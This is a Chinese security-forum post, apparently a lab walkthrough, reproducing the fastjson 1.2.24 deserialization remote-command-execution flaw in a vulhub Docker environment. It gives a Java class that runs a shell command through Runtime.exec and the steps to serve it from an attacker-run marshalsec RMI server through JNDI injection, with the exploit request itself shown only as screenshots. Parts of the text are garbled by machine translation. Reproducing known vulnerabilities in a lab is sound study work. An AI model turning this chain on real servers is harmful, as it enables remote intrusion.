电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2523 人浏览分享

fastjson 1.2.24 反序列化导致任意命令执行漏洞

[复制链接]
2523 0
fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson在解析json的过程中 支持使用autoType来实例化某个具体的类 并调用该类的set/get方法来访问属性。

漏洞环境

我们先下载环境,在github上有别人直接搭建好的码头环境我们直接拿来用食品制造
  1. git clone git://github.com/vulhub/vulhub.git
  2. cd vulhub/fastjson/1.2.24-rce/
  3. docker-compose up -d
复制代码

访问IP:8090 分类统计JSON格式的输出。

012412ikbh80bd46kr4rd0.png


影响版本

fastjson <=1.2.24

漏洞复现

因为目标环境是Java 8u102 没有com.sun.jndi.rmi.object.trustURLCodebase的限制我
们可以使用com.sun.rowset.JdbcRowSetImpl的利用链通过JNDI注入来执行命令。
首先编译并上传命令执行代码 代码如下
  1. // javac TouchFile.java
  2. import java.lang.Runtime;
  3. import java.lang.Process;

  4. public class TouchFile {
  5. static {
  6.      try {
  7.          Runtime rt = Runtime.getRuntime();
  8.          String[] commands = {"touch", "/tmp/EDI"};
  9.          Process pc = rt.exec(commands);
  10.          pc.waitFor();
  11.      } catch (Exception e) {
  12.          // do nothing
  13.      }
  14. }
  15. }
复制代码

一个可以访问到的服务器上 我这个是用python再看一个

012429uzedemfly777de7e.png

848.png

然后使用marshalsec项目启动一个RMI服务监听9999端口 并开始加载远程类TouchFile.class
我们先下载marshalsec 这个为网址:https : //github.com/mbechler/marshalsec
然后使用maven编译marshalsec成jar包 我们先进入下载的marshalsec文件中运行
mvn clean package -DskipTests 编译

012443sr8hkkql33ugskug.png

发现生成jar包

100.png

开启RMI服务

99.png

执行POC

98.png

python和RMI都监听到

97.png

96.png

去容器查看发现创建的EDI文件

95.png

这里大家排点坑 会发现所有操作都但就是不能执行命令成功这个是java的问题
因为jdk:8u102 这个版本没有com.sun.jndi.rmi.object.trustURLCodebase限制所以
我们复现尽量使用jdk:8u102或以下版本 所以会复现失败。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.